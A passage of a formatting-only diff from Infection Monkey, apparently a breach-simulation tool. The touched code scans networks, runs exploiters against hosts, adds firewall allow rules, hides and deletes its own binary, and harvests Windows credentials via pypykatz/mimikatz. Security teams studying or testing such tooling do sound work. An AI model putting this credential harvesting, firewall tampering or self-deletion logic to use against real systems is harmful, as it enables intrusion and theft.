start(self): is_empty = False for finger in self._fingerprint: LOG.info( - "Trying to get OS fingerprint from %r with module %s", - machine, - finger.__class__.__name__, + "Trying to get OS fingerprint from %r with module %s", + machine, + finger.__class__.__name__, ) try: finger.get_host_fingerprint(machine) except BaseException as exc: LOG.error( - "Failed to run fingerprinter %s, exception %s" - % finger.__class__.__name__, - str(exc), + "Failed to run fingerprinter %s, exception %s" + % finger.__class__.__name__, + str(exc), ) ScanTelem(machine).send() @@ -204,23 +203,23 @@ def start(self): if self._default_server: if self._network.on_island(self._default_server): machine.set_default_server( - get_interface_to_target(machine.ip_addr) - + ( - ":" + self._default_server_port - if self._default_server_port - else "" - ) + get_interface_to_target(machine.ip_addr) + + ( + ":" + self._default_server_port + if self._default_server_port + else "" + ) ) else: machine.set_default_server(self._default_server) LOG.debug( - "Default server for machine: %r set to %s" - % (machine, machine.default_server) + "Default server for machine: %r set to %s" + % (machine, machine.default_server) ) # Order exploits according to their type self._exploiters = sorted( - self._exploiters, key=lambda exploiter_:exploiter_.EXPLOIT_TYPE.value + self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value ) host_exploited = False for exploiter in [exploiter(machine) for exploiter in self._exploiters]: @@ -252,8 +251,7 @@ def start(self): if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time LOG.info( - "Sleeping %d seconds for exploited machines to connect to tunnel", - time_to_sleep + "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep ) time.sleep(time_to_sleep) @@ -265,8 +263,8 @@ def start(self): except PlannedShutdownException: LOG.info( - "A planned shutdown of the Monkey occurred. Logging the reason and finishing " - "execution." + "A planned shutdown of the Monkey occurred. Logging the reason and finishing " + "execution." ) LOG.exception("Planned shutdown, reason:") @@ -311,7 +309,7 @@ def cleanup(self): firewall.close() else: StateTelem( - is_done=True, version=get_version() + is_done=True, version=get_version() ).send() # Signal the server (before closing the tunnel) InfectionMonkey.close_tunnel() firewall.close() @@ -346,12 +344,12 @@ def self_delete(): startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW startupinfo.wShowWindow = SW_HIDE subprocess.Popen( - DELAY_DELETE_CMD % {"file_path":sys.executable}, - stdin=None, - stdout=None, - stderr=None, - close_fds=True, - startupinfo=startupinfo, + DELAY_DELETE_CMD % {"file_path": sys.executable}, + stdin=None, + stdout=None, + stderr=None, + close_fds=True, + startupinfo=startupinfo, ) else: os.remove(sys.executable) @@ -381,10 +379,10 @@ def try_exploiting(self, machine, exploiter): """ if not exploiter.is_os_supported(): LOG.info( - "Skipping exploiter %s host:%r, os %s is not supported", - exploiter.__class__.__name__, - machine, - machine.os, + "Skipping exploiter %s host:%r, os %s is not supported", + exploiter.__class__.__name__, + machine, + machine.os, ) return False @@ -398,31 +396,30 @@ def try_exploiting(self, machine, exploiter): return True else: LOG.info( - "Failed exploiting %r with exploiter %s", machine, - exploiter.__class__.__name__ + "Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__ ) except ExploitingVulnerableMachineError as exc: LOG.error( - "Exception while attacking %s using %s: %s", - machine, - exploiter.__class__.__name__, - exc, + "Exception while attacking %s using %s: %s", + machine, + exploiter.__class__.__name__, + exc, ) self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS) return True except FailedExploitationError as e: LOG.info( - "Failed exploiting %r with exploiter %s, %s", - machine, - exploiter.__class__.__name__, - e, + "Failed exploiting %r with exploiter %s, %s", + machine, + exploiter.__class__.__name__, + e, ) except Exception as exc: LOG.exception( - "Exception while attacking %s using %s: %s", - machine, - exploiter.__class__.__name__, - exc, + "Exception while attacking %s using %s: %s", + machine, + exploiter.__class__.__name__, + exc, ) finally: exploiter.send_exploit_telemetry(result) @@ -458,8 +455,7 @@ def set_default_server(self): """ if not ControlClient.find_server(default_tunnel=self._default_tunnel): raise PlannedShutdownException( - "Monkey couldn't find server with {} default tunnel.".format( - self._default_tunnel) + "Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel) ) self._default_server = WormConfiguration.current_server LOG.debug("default server set to: %s" % self._default_server) diff --git a/monkey/infection_monkey/network/firewall.py b/monkey/infection_monkey/network/firewall.py index 6b23734bb99..cddba49fe03 100644 --- a/monkey/infection_monkey/network/firewall.py +++ b/monkey/infection_monkey/network/firewall.py @@ -5,12 +5,12 @@ def _run_netsh_cmd(command, args): cmd = subprocess.Popen( - "netsh %s %s" - % ( - command, - " ".join(['%s="%s"' % (key, value) for key, value in list(args.items()) if value]), - ), - stdout=subprocess.PIPE, + "netsh %s %s" + % ( + command, + " ".join(['%s="%s"' % (key, value) for key, value in list(args.items()) if value]), + ), + stdout=subprocess.PIPE, ) return cmd.stdout.read().strip().lower().endswith("ok.") @@ -56,9 +56,9 @@ def is_enabled(self): return None def add_firewall_rule( - self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs + self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs ): - netsh_args = {"name":name, "dir":direction, "action":action, "program":program} + netsh_args = {"name": name, "dir": direction, "action": action, "program": program} netsh_args.update(kwargs) try: if _run_netsh_cmd("advfirewall firewall add rule", netsh_args): @@ -70,7 +70,7 @@ def add_firewall_rule( return None def remove_firewall_rule(self, name="Firewall", **kwargs): - netsh_args = {"name":name} + netsh_args = {"name": name} netsh_args.update(kwargs) try: @@ -89,10 +89,10 @@ def listen_allowed(self, **kwargs): for rule in list(self._rules.values()): if ( - rule.get("program") == sys.executable - and "in" == rule.get("dir") - and "allow" == rule.get("action") - and 4 == len(list(rule.keys())) + rule.get("program") == sys.executable + and "in" == rule.get("dir") + and "allow" == rule.get("action") + and 4 == len(list(rule.keys())) ): return True return False @@ -125,14 +125,14 @@ def is_enabled(self): return None def add_firewall_rule( - self, - rule="allowedprogram", - name="Firewall", - mode="ENABLE", - program=sys.executable, - **kwargs, + self, + rule="allowedprogram", + name="Firewall", + mode="ENABLE", + program=sys.executable, + **kwargs, ): - netsh_args = {"name":name, "mode":mode, "program":program} + netsh_args = {"name": name, "mode": mode, "program": program} netsh_args.update(kwargs) try: @@ -146,14 +146,14 @@ def add_firewall_rule( return None def remove_firewall_rule( - self, - rule="allowedprogram", - name="Firewall", - mode="ENABLE", - program=sys.executable, - **kwargs, + self, + rule="allowedprogram", + name="Firewall", + mode="ENABLE", + program=sys.executable, + **kwargs, ): - netsh_args = {"program":program} + netsh_args = {"program": program} netsh_args.update(kwargs) try: if _run_netsh_cmd("firewall delete %s" % rule, netsh_args): diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index a0db9ab02fa..c30f3d43628 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -52,7 +52,6 @@ def local_ips(): local_hostname = socket.gethostname() return socket.gethostbyname_ex(local_hostname)[2] - def get_routes(): raise NotImplementedError() @@ -60,12 +59,10 @@ def get_routes(): else: from fcntl import ioctl - def local_ips(): valid_ips = [network["addr"] for network in get_host_subnets()] return valid_ips - def get_routes(): # based on scapy implementation for route parsing try: f = open("/proc/net/route", "r") @@ -101,13 +98,13 @@ def get_routes(): # based on scapy implementation for route parsing else: continue routes.append( - ( - socket.htonl(int(dst, 16)) & 0xFFFFFFFF, - socket.htonl(int(msk, 16)) & 0xFFFFFFFF, - socket.inet_ntoa(struct.pack("I", int(gw, 16))), - iff, - ifaddr, - ) + ( + socket.htonl(int(dst, 16)) & 0xFFFFFFFF, + socket.htonl(int(msk, 16)) & 0xFFFFFFFF, + socket.inet_ntoa(struct.pack("I", int(gw, 16))), + iff, + ifaddr, + ) ) f.close() diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py index 9ecdcbb5c11..c743fa3a581 100644 --- a/monkey/infection_monkey/network/mssql_fingerprint.py +++ b/monkey/infection_monkey/network/mssql_fingerprint.py @@ -49,28 +49,28 @@ def get_host_fingerprint(self, host): data, server = sock.recvfrom(self.BUFFER_SIZE) except socket.timeout: LOG.info( - "Socket timeout reached, maybe browser service on host: {0} doesnt " - "exist".format(host) + "Socket timeout reached, maybe browser service on host: {0} doesnt " + "exist".format(host) ) sock.close() return False except socket.error as e: if e.errno == errno.ECONNRESET: LOG.info( - "Connection was forcibly closed by the remote host. The host: {0} is " - "rejecting the packet.".format(host) + "Connection was forcibly closed by the remote host. The host: {0} is " + "rejecting the packet.".format(host) ) else: LOG.error( - "An unknown socket error occurred while trying the mssql fingerprint, " - "closing socket.", - exc_info=True, + "An unknown socket error occurred while trying the mssql fingerprint, " + "closing socket.", + exc_info=True, ) sock.close() return False self.init_service( - host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT + host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT ) # Loop through the server data diff --git a/monkey/infection_monkey/network/mysqlfinger.py b/monkey/infection_monkey/network/mysqlfinger.py index d7c56a54658..c04814c9f4d 100644 --- a/monkey/infection_monkey/network/mysqlfinger.py +++ b/monkey/infection_monkey/network/mysqlfinger.py @@ -49,7 +49,7 @@ def get_host_fingerprint(self, host): return False version, curpos = struct_unpack_tracker_string( - data, curpos + data, curpos ) # special coded to solve string parsing version = version[0].decode() self.init_service(host.services, SQL_SERVICE, MYSQL_PORT) diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index 3d3c2c65a78..67746619026 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -54,7 +54,7 @@ def _get_inaccessible_subnets_ips(self): if len(WormConfiguration.inaccessible_subnets) > 1: for subnet_str in WormConfiguration.inaccessible_subnets: if NetworkScanner._is_any_ip_in_subnet( - [str(x) for x in self._ip_addresses], subnet_str + [str(x) for x in self._ip_addresses], subnet_str ): # If machine has IPs from 2 different subnets in the same group, there's no # point checking the other @@ -63,7 +63,7 @@ def _get_inaccessible_subnets_ips(self): if other_subnet_str == subnet_str: continue if not NetworkScanner._is_any_ip_in_subnet( - [str(x) for x in self._ip_addresses], other_subnet_str + [str(x) for x in self._ip_addresses], other_subnet_str ): subnets_to_scan.append(NetworkRange.get_range_obj(other_subnet_str)) break @@ -86,7 +86,7 @@ def get_victim_machines(self, max_find=5, stop_callback=None): # But again, balance pool = Pool(ITERATION_BLOCK_SIZE) victim_generator = VictimHostGenerator( - self._ranges, WormConfiguration.blocked_ips, local_ips() + self._ranges, WormConfiguration.blocked_ips, local_ips() ) victims_count = 0 diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index 3e9c224926f..73c89f841ad 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -34,9 +34,9 @@ def is_host_alive(self, host): timeout /= 1000 return 0 == subprocess.call( - ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr], - stdout=self._devnull, - stderr=self._devnull, + ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr], + stdout=self._devnull, + stderr=self._devnull, ) def get_host_fingerprint(self, host): @@ -46,10 +46,10 @@ def get_host_fingerprint(self, host): timeout /= 1000 sub_proc = subprocess.Popen( - ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr], - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - text=True, + ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, ) output = " ".join(sub_proc.communicate()) diff --git a/monkey/infection_monkey/network/postgresql_finger.py b/monkey/infection_monkey/network/postgresql_finger.py index db88873f0bf..f19c128e8f3 100644 --- a/monkey/infection_monkey/network/postgresql_finger.py +++ b/monkey/infection_monkey/network/postgresql_finger.py @@ -17,32 +17,32 @@ class PostgreSQLFinger(HostFinger): # Class related consts _SCANNED_SERVICE = "PostgreSQL" POSTGRESQL_DEFAULT_PORT = 5432 - CREDS = {"username":ID_STRING, "password":ID_STRING} + CREDS = {"username": ID_STRING, "password": ID_STRING} CONNECTION_DETAILS = { - "ssl_conf":"SSL is configured on the PostgreSQL server.\n", - "ssl_not_conf":"SSL is NOT configured on the PostgreSQL server.\n", - "all_ssl":"SSL connections can be made by all.\n", - "all_non_ssl":"Non-SSL connections can be made by all.\n", - "selected_ssl":"SSL connections can be made by selected hosts only OR " - "non-SSL usage is forced.\n", - "selected_non_ssl":"Non-SSL connections can be made by selected hosts only OR " - "SSL usage is forced.\n", - "only_selected":"Only selected hosts can make connections (SSL or non-SSL).\n", + "ssl_conf": "SSL is configured on the PostgreSQL server.\n", + "ssl_not_conf": "SSL is NOT configured on the PostgreSQL server.\n", + "all_ssl": "SSL connections can be made by all.\n", + "all_non_ssl": "Non-SSL connections can be made by all.\n", + "selected_ssl": "SSL connections can be made by selected hosts only OR " + "non-SSL usage is forced.\n", + "selected_non_ssl": "Non-SSL connections can be made by selected hosts only OR " + "SSL usage is forced.\n", + "only_selected": "Only selected hosts can make connections (SSL or non-SSL).\n", } RELEVANT_EX_SUBSTRINGS = { - "no_auth":"password authentication failed", - "no_entry":"entry for host", # "no pg_hba.conf entry for host" but filename may be diff + "no_auth": "password authentication failed", + "no_entry": "entry for host", # "no pg_hba.conf entry for host" but filename may be diff } def get_host_fingerprint(self, host): try: psycopg2.connect( - host=host.ip_addr, - port=self.POSTGRESQL_DEFAULT_PORT, - user=self.CREDS["username"], - password=self.CREDS["password"], - sslmode="prefer", - connect_timeout=MEDIUM_REQUEST_TIMEOUT, + host=host.ip_addr, + port=self.POSTGRESQL_DEFAULT_PORT, + user=self.CREDS["username"], + password=self.CREDS["password"], + sslmode="prefer", + connect_timeout=MEDIUM_REQUEST_TIMEOUT, ) # don't need to worry about DB name; creds are wrong, won't check # if it comes here, the creds worked @@ -50,9 +50,9 @@ def get_host_fingerprint(self, host): # perhaps the service is a honeypot self.init_service(host.services, self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT) host.services[self._SCANNED_SERVICE]["communication_encryption_details"] = ( - "The PostgreSQL server was unexpectedly accessible with the credentials - " - + f"user: '{self.CREDS['username']}' and password: '" - f"{self.CREDS['password']}'. Is this a honeypot?" + "The PostgreSQL server was unexpectedly accessible with the credentials - " + + f"user: '{self.CREDS['username']}' and password: '" + f"{self.CREDS['password']}'. Is this a honeypot?" ) return True @@ -94,7 +94,7 @@ def analyze_operational_error(self, host, exception_string): self.get_connection_details_ssl_not_configured(exceptions) host.services[self._SCANNED_SERVICE]["communication_encryption_details"] = "".join( - self.ssl_connection_details + self.ssl_connection_details ) @staticmethod @@ -122,7 +122,7 @@ def get_connection_details_ssl_configured(self, exceptions): self.ssl_connection_details.append(self.CONNECTION_DETAILS["all_non_ssl"]) else: if ( - ssl_selected_comms_only + ssl_selected_comms_only ): # if only selected SSL allowed and only selected non-SSL allowed self.ssl_connection_details[-1] = self.CONNECTION_DETAILS["only_selected"] else: diff --git a/monkey/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py index 795ac2be5ef..b035a053fe3 100644 --- a/monkey/infection_monkey/network/smbfinger.py +++ b/monkey/infection_monkey/network/smbfinger.py @@ -14,9 +14,9 @@ class Packet: fields = odict( - [ - ("data", ""), - ] + [ + ("data", ""), + ] ) def __init__(self, **kw): @@ -38,20 +38,20 @@ def to_byte_string(self): # SMB Packets class SMBHeader(Packet): fields = odict( - [ - ("proto", b"\xff\x53\x4d\x42"), - ("cmd", b"\x72"), - ("errorcode", b"\x00\x00\x00\x00"), - ("flag1", b"\x00"), - ("flag2", b"\x00\x00"), - ("pidhigh", b"\x00\x00"), - ("signature", b"\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", b"\x00\x00"), - ("tid", b"\x00\x00"), - ("pid", b"\x00\x00"), - ("uid", b"\x00\x00"), - ("mid", b"\x00\x00"), - ] + [ + ("proto", b"\xff\x53\x4d\x42"), + ("cmd", b"\x72"), + ("errorcode", b"\x00\x00\x00\x00"), + ("flag1", b"\x00"), + ("flag2", b"\x00\x00"), + ("pidhigh", b"\x00\x00"), + ("signature", b"\x00\x00\x00\x00\x00\x00\x00\x00"), + ("reserved", b"\x00\x00"), + ("tid", b"\x00\x00"), + ("pid", b"\x00\x00"), + ("uid", b"\x00\x00"), + ("mid", b"\x00\x00"), + ] ) @@ -64,63 +64,63 @@ def calculate(self): class SMBNegoFingerData(Packet): fields = odict( - [ - ("separator1", b"\x02"), - ( - "dialect1", - b"\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d" - b"\x20\x31\x2e\x30\x00", - ), - ("separator2", b"\x02"), - ("dialect2", b"\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"), - ("separator3", b"\x02"), - ( - "dialect3", - b"\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72" - b"\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00", - ), - ("separator4", b"\x02"), - ("dialect4", b"\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"), - ("separator5", b"\x02"), - ("dialect5", b"\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"), - ("separator6", b"\x02"), - ("dialect6", b"\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"), - ] + [ + ("separator1", b"\x02"), + ( + "dialect1", + b"\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d" + b"\x20\x31\x2e\x30\x00", + ), + ("separator2", b"\x02"), + ("dialect2", b"\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"), + ("separator3", b"\x02"), + ( + "dialect3", + b"\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72" + b"\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00", + ), + ("separator4", b"\x02"), + ("dialect4", b"\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"), + ("separator5", b"\x02"), + ("dialect5", b"\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"), + ("separator6", b"\x02"), + ("dialect6", b"\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"), + ] ) class SMBSessionFingerData(Packet): fields = odict( - [ - ("wordcount", b"\x0c"), - ("AndXCommand", b"\xff"), - ("reserved", b"\x00"), - ("andxoffset", b"\x00\x00"), - ("maxbuff", b"\x04\x11"), - ("maxmpx", b"\x32\x00"), - ("vcnum", b"\x00\x00"), - ("sessionkey", b"\x00\x00\x00\x00"), - ("securitybloblength", b"\x4a\x00"), - ("reserved2", b"\x00\x00\x00\x00"), - ("capabilities", b"\xd4\x00\x00\xa0"), - ("bcc1", ""), - ( - "Data", - b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c" - b"\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02" - b"\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00" - b"\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00" - b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f" - b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f" - b"\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53" - b"\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63" - b"\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20" - b"\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00" - b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32" - b"\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35" - b"\x00\x2e\x00\x31\x00\x00\x00\x00\x00", - ), - ] + [ + ("wordcount", b"\x0c"), + ("AndXCommand", b"\xff"), + ("reserved", b"\x00"), + ("andxoffset", b"\x00\x00"), + ("maxbuff", b"\x04\x11"), + ("maxmpx", b"\x32\x00"), + ("vcnum", b"\x00\x00"), + ("sessionkey", b"\x00\x00\x00\x00"), + ("securitybloblength", b"\x4a\x00"), + ("reserved2", b"\x00\x00\x00\x00"), + ("capabilities", b"\xd4\x00\x00\xa0"), + ("bcc1", ""), + ( + "Data", + b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c" + b"\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02" + b"\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00" + b"\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f" + b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f" + b"\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53" + b"\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63" + b"\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20" + b"\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00" + b"\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32" + b"\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35" + b"\x00\x2e\x00\x31\x00\x00\x00\x00\x00", + ), + ] ) def calculate(self): @@ -167,10 +167,10 @@ def get_host_fingerprint(self, host): if data[8:10] == b"\x73\x16": length = struct.unpack(" dict: info = {} if aws.is_instance(): logger.info("Machine is an AWS instance") - info = {"instance_id":aws.get_instance_id()} + info = {"instance_id": aws.get_instance_id()} else: logger.info("Machine is NOT an AWS instance") diff --git a/monkey/infection_monkey/system_info/collectors/environment_collector.py b/monkey/infection_monkey/system_info/collectors/environment_collector.py index 8f7978f6bfa..039ede6f5d1 100644 --- a/monkey/infection_monkey/system_info/collectors/environment_collector.py +++ b/monkey/infection_monkey/system_info/collectors/environment_collector.py @@ -21,4 +21,4 @@ def __init__(self): super().__init__(name=ENVIRONMENT_COLLECTOR) def collect(self) -> dict: - return {"environment":get_monkey_environment()} + return {"environment": get_monkey_environment()} diff --git a/monkey/infection_monkey/system_info/collectors/hostname_collector.py b/monkey/infection_monkey/system_info/collectors/hostname_collector.py index 783a0d4fd22..0aeecd9fb7b 100644 --- a/monkey/infection_monkey/system_info/collectors/hostname_collector.py +++ b/monkey/infection_monkey/system_info/collectors/hostname_collector.py @@ -12,4 +12,4 @@ def __init__(self): super().__init__(name=HOSTNAME_COLLECTOR) def collect(self) -> dict: - return {"hostname":socket.getfqdn()} + return {"hostname": socket.getfqdn()} diff --git a/monkey/infection_monkey/system_info/collectors/process_list_collector.py b/monkey/infection_monkey/system_info/collectors/process_list_collector.py index 6fae4144b70..12cdf8aebc7 100644 --- a/monkey/infection_monkey/system_info/collectors/process_list_collector.py +++ b/monkey/infection_monkey/system_info/collectors/process_list_collector.py @@ -30,23 +30,23 @@ def collect(self) -> dict: for process in psutil.process_iter(): try: processes[process.pid] = { - "name":process.name(), - "pid":process.pid, - "ppid":process.ppid(), - "cmdline":" ".join(process.cmdline()), - "full_image_path":process.exe(), + "name": process.name(), + "pid": process.pid, + "ppid": process.ppid(), + "cmdline": " ".join(process.cmdline()), + "full_image_path": process.exe(), } except (psutil.AccessDenied, WindowsError): # we may be running as non root and some processes are impossible to acquire in # Windows/Linux. # In this case we'll just add what we know. processes[process.pid] = { - "name":"null", - "pid":process.pid, - "ppid":process.ppid(), - "cmdline":"ACCESS DENIED", - "full_image_path":"null", + "name": "null", + "pid": process.pid, + "ppid": process.ppid(), + "cmdline": "ACCESS DENIED", + "full_image_path": "null", } continue - return {"process_list":processes} + return {"process_list": processes} diff --git a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py index ba5cda49d45..ec8a5e488bd 100644 --- a/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py +++ b/monkey/infection_monkey/system_info/collectors/scoutsuite_collector/scoutsuite_collector.py @@ -24,10 +24,10 @@ def scan_cloud_security(cloud_type: CloudProviders): def run_scoutsuite(cloud_type: str) -> Union[BaseProvider, dict]: return ScoutSuite.api_run.run( - provider=cloud_type, - aws_access_key_id=WormConfiguration.aws_access_key_id, - aws_secret_access_key=WormConfiguration.aws_secret_access_key, - aws_session_token=WormConfiguration.aws_session_token, + provider=cloud_type, + aws_access_key_id=WormConfiguration.aws_access_key_id, + aws_secret_access_key=WormConfiguration.aws_secret_access_key, + aws_session_token=WormConfiguration.aws_session_token, ) diff --git a/monkey/infection_monkey/system_info/netstat_collector.py b/monkey/infection_monkey/system_info/netstat_collector.py index 0d8b73cb978..b0acc6b6550 100644 --- a/monkey/infection_monkey/system_info/netstat_collector.py +++ b/monkey/infection_monkey/system_info/netstat_collector.py @@ -20,10 +20,10 @@ class NetstatCollector(object): AF_INET6 = getattr(socket, "AF_INET6", object()) proto_map = { - (AF_INET, SOCK_STREAM):"tcp", - (AF_INET6, SOCK_STREAM):"tcp6", - (AF_INET, SOCK_DGRAM):"udp", - (AF_INET6, SOCK_DGRAM):"udp6", + (AF_INET, SOCK_STREAM): "tcp", + (AF_INET6, SOCK_STREAM): "tcp6", + (AF_INET, SOCK_DGRAM): "udp", + (AF_INET6, SOCK_DGRAM): "udp6", } @staticmethod @@ -34,11 +34,11 @@ def get_netstat_info(): @staticmethod def _parse_connection(c): return { - "proto":NetstatCollector.proto_map[(c.family, c.type)], - "local_address":c.laddr[0], - "local_port":c.laddr[1], - "remote_address":c.raddr[0] if c.raddr else None, - "remote_port":c.raddr[1] if c.raddr else None, - "status":c.status, - "pid":c.pid, + "proto": NetstatCollector.proto_map[(c.family, c.type)], + "local_address": c.laddr[0], + "local_port": c.laddr[1], + "remote_address": c.raddr[0] if c.raddr else None, + "remote_port": c.raddr[1] if c.raddr else None, + "status": c.status, + "pid": c.pid, } diff --git a/monkey/infection_monkey/system_info/system_info_collectors_handler.py b/monkey/infection_monkey/system_info/system_info_collectors_handler.py index 5a77ee9e9e9..c542869312d 100644 --- a/monkey/infection_monkey/system_info/system_info_collectors_handler.py +++ b/monkey/infection_monkey/system_info/system_info_collectors_handler.py @@ -24,11 +24,11 @@ def execute_all_configured(self): # If we failed one collector, no need to stop execution. Log and continue. LOG.error("Collector {} failed. Error info: {}".format(collector.name, e)) LOG.info( - "All system info collectors executed. Total {} executed, out of which {} " - "collected successfully.".format(len(self.collectors_list), successful_collections) + "All system info collectors executed. Total {} executed, out of which {} " + "collected successfully.".format(len(self.collectors_list), successful_collections) ) - SystemInfoTelem({"collectors":system_info_telemetry}).send() + SystemInfoTelem({"collectors": system_info_telemetry}).send() @staticmethod def config_to_collectors_list() -> Sequence[SystemInfoCollector]: diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py index 579cfb037b2..0bed5c7f8a6 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py +++ b/monkey/infection_monkey/system_info/windows_cred_collector/mimikatz_cred_collector.py @@ -22,5 +22,5 @@ def cred_list_to_cred_dict(creds: List[WindowsCredentials]): # Lets not use "." and "$" in keys, because it will confuse mongo. # Ideally we should refactor island not to use a dict and simply parse credential list. key = cred.username.replace(".", ",").replace("$", "") - cred_dict.update({key:cred.to_dict()}) + cred_dict.update({key: cred.to_dict()}) return cred_dict diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py b/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py index 11415ddac63..23bcce7717d 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py +++ b/monkey/infection_monkey/system_info/windows_cred_collector/pypykatz_handler.py @@ -43,7 +43,7 @@ def _get_creds_from_pypykatz_session(pypykatz_session: Dict) -> List[WindowsCred def _get_creds_from_pypykatz_creds( - pypykatz_creds: List[PypykatzCredential], + pypykatz_creds: List[PypykatzCredential], ) -> List[WindowsCredentials]: creds = _filter_empty_creds(pypykatz_creds) return [_get_windows_cred(cred) for cred in creds] @@ -72,7 +72,7 @@ def _get_windows_cred(pypykatz_cred: PypykatzCredential): if "LMhash" in pypykatz_cred: lm_hash = _hash_to_string(pypykatz_cred["LMhash"]) return WindowsCredentials( - username=username, password=password, ntlm_hash=ntlm_hash, lm_hash=lm_hash + username=username, password=password, ntlm_hash=ntlm_hash, lm_hash=lm_hash ) diff --git a/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py b/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py index 89b570bad4e..f2d9565b14d 100644 --- a/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py +++ b/monkey/infection_monkey/system_info/windows_cred_collector/test_pypykatz_handler.py @@ -8,123 +8,119 @@ class TestPypykatzHandler(TestCase): # Made up credentials, but structure of dict should be roughly the same PYPYKATZ_SESSION = { - "authentication_id":555555, - "session_id":3, - 